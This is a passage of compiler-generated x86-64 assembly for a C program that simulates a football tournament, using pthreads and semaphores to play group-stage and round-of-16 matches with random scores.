callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_B ## -- Begin function jugar_grupo_B
.p2align 4, 0x90
_jugar_grupo_B: ## @jugar_grupo_B
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_B(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_B_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_B_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_C ## -- Begin function jugar_grupo_C
.p2align 4, 0x90
_jugar_grupo_C: ## @jugar_grupo_C
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_C(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_C_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_C_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_D ## -- Begin function jugar_grupo_D
.p2align 4, 0x90
_jugar_grupo_D: ## @jugar_grupo_D
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_D(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_D_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_D_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_E ## -- Begin function jugar_grupo_E
.p2align 4, 0x90
_jugar_grupo_E: ## @jugar_grupo_E
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_E(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_E_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_E_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_F ## -- Begin function jugar_grupo_F
.p2align 4, 0x90
_jugar_grupo_F: ## @jugar_grupo_F
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_F(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_F_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_F_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_G ## -- Begin function jugar_grupo_G
.p2align 4, 0x90
_jugar_grupo_G: ## @jugar_grupo_G
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_G(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_G_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_G_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupo_H ## -- Begin function jugar_grupo_H
.p2align 4, 0x90
_jugar_grupo_H: ## @jugar_grupo_H
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
leaq _grupo_H(%rip), %rcx
movq %rcx, -40(%rbp) ## 8-byte Spill
leaq _grupo_H_puntos(%rip), %r8
movq %r8, -32(%rbp) ## 8-byte Spill
leaq _grupo_H_favoritos(%rip), %r9
movq %r9, -24(%rbp) ## 8-byte Spill
movl $1, %esi
movl %esi, -48(%rbp) ## 4-byte Spill
xorl %edx, %edx
movl %edx, -12(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $2, %esi
movl %esi, -52(%rbp) ## 4-byte Spill
movl %edx, %edi
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -52(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl $3, %esi
movl %esi, -44(%rbp) ## 4-byte Spill
callq _jugar_partido
movl -48(%rbp), %esi ## 4-byte Reload
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
callq _jugar_partido
movl -44(%rbp), %edi ## 4-byte Reload
movq -40(%rbp), %rcx ## 8-byte Reload
movq -32(%rbp), %r8 ## 8-byte Reload
movq -24(%rbp), %r9 ## 8-byte Reload
movl -12(%rbp), %edx ## 4-byte Reload
movl %edx, %esi
callq _jugar_partido
movq _sem_grupos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -12(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_grupos ## -- Begin function jugar_grupos
.p2align 4, 0x90
_jugar_grupos: ## @jugar_grupos
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.46(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq -8(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_A(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -16(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_B(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -24(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_C(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -32(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_D(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -40(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_E(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -48(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_F(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -56(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_G(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
leaq -64(%rbp), %rdi
xorl %eax, %eax
movl %eax, %ecx
leaq _jugar_grupo_H(%rip), %rdx
movq %rcx, %rsi
callq _pthread_create
movl %eax, -68(%rbp)
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_partido_winners ## -- Begin function jugar_partido_winners
.p2align 4, 0x90
_jugar_partido_winners: ## @jugar_partido_winners
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl %edx, -20(%rbp)
movq %rcx, -32(%rbp)
movq -8(%rbp), %rsi
movq -16(%rbp), %rdx
leaq L_.str.55(%rip), %rdi
movb $0, %al
callq _printf
callq _rand
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -36(%rbp)
callq _rand
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -40(%rbp)
movl -36(%rbp), %eax
cmpl -40(%rbp), %eax
jle LBB12_2
## %bb.1:
movq -8(%rbp), %rdx
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movq %rdx, (%rax,%rcx,8)
jmp LBB12_3
LBB12_2:
movq -16(%rbp), %rdx
movq -32(%rbp), %rax
movslq -20(%rbp), %rcx
movq %rdx, (%rax,%rcx,8)
LBB12_3:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _obtener_primero ## -- Begin function obtener_primero
.p2align 4, 0x90
_obtener_primero: ## @obtener_primero
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl $-1, -16(%rbp)
movl $-1, -20(%rbp)
movl $0, -12(%rbp)
LBB13_1: ## =>This Inner Loop Header: Depth=1
cmpl $4, -12(%rbp)
jge LBB13_6
## %bb.2: ## in Loop: Header=BB13_1 Depth=1
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %eax
cmpl -16(%rbp), %eax
jl LBB13_4
## %bb.3: ## in Loop: Header=BB13_1 Depth=1
movl -12(%rbp), %eax
movl %eax, -20(%rbp)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %eax
movl %eax, -16(%rbp)
LBB13_4: ## in Loop: Header=BB13_1 Depth=1
jmp LBB13_5
LBB13_5: ## in Loop: Header=BB13_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB13_1
LBB13_6:
movl -20(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _obtener_segundo ## -- Begin function obtener_segundo
.p2align 4, 0x90
_obtener_segundo: ## @obtener_segundo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl $-1, -16(%rbp)
movl $-1, -20(%rbp)
movq -8(%rbp), %rdi
callq _obtener_primero
movl %eax, -24(%rbp)
movl $0, -12(%rbp)
LBB14_1: ## =>This Inner Loop Header: Depth=1
cmpl $4, -12(%rbp)
jge LBB14_7
## %bb.2: ## in Loop: Header=BB14_1 Depth=1
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %eax
cmpl -16(%rbp), %eax
jl LBB14_5
## %bb.3: ## in Loop: Header=BB14_1 Depth=1
movl -12(%rbp), %eax
cmpl -24(%rbp), %eax
je LBB14_5
## %bb.4: ## in Loop: Header=BB14_1 Depth=1
movl -12(%rbp), %eax
movl %eax, -20(%rbp)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
shlq $5, %rcx
addq %rcx, %rax
movl (%rax), %eax
movl %eax, -16(%rbp)
LBB14_5: ## in Loop: Header=BB14_1 Depth=1
jmp LBB14_6
LBB14_6: ## in Loop: Header=BB14_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB14_1
LBB14_7:
movl -20(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _jugar_partido_49 ## -- Begin function jugar_partido_49
.p2align 4, 0x90
_jugar_partido_49: ## @jugar_partido_49
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
leaq _grupo_A_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_A(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_B_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_B(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
xorl %edx, %edx
movl %edx, -36(%rbp) ## 4-byte Spill
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
## kill: def $ecx killed $eax
movl -36(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_50 ## -- Begin function jugar_partido_50
.p2align 4, 0x90
_jugar_partido_50: ## @jugar_partido_50
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_C_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_C(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_D_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_D(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $1, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_51 ## -- Begin function jugar_partido_51
.p2align 4, 0x90
_jugar_partido_51: ## @jugar_partido_51
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_B_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_B(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_A_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_A(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $2, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_52 ## -- Begin function jugar_partido_52
.p2align 4, 0x90
_jugar_partido_52: ## @jugar_partido_52
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_D_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_D(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_C_puntos(%rip), %rdi
callq _obtener_segundo
movl %eax, -20(%rbp)
movslq -20(%rbp), %rcx
leaq _grupo_C(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
leaq _winer_octavos(%rip), %rcx
movl $3, %edx
callq _jugar_partido_winners
movq _sem_octavos@GOTPCREL(%rip), %rdi
callq _sem_post
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.globl _jugar_partido_53 ## -- Begin function jugar_partido_53
.p2align 4, 0x90
_jugar_partido_53: ## @jugar_partido_53
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq _grupo_E_puntos(%rip), %rdi
callq _obtener_primero
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _grupo_E(%rip), %rax
movq (%rax,%rcx,8), %rax
movq %rax, -16(%rbp)
leaq _grupo_F_puntos(%rip), %rdi
callq _obtener_segundo
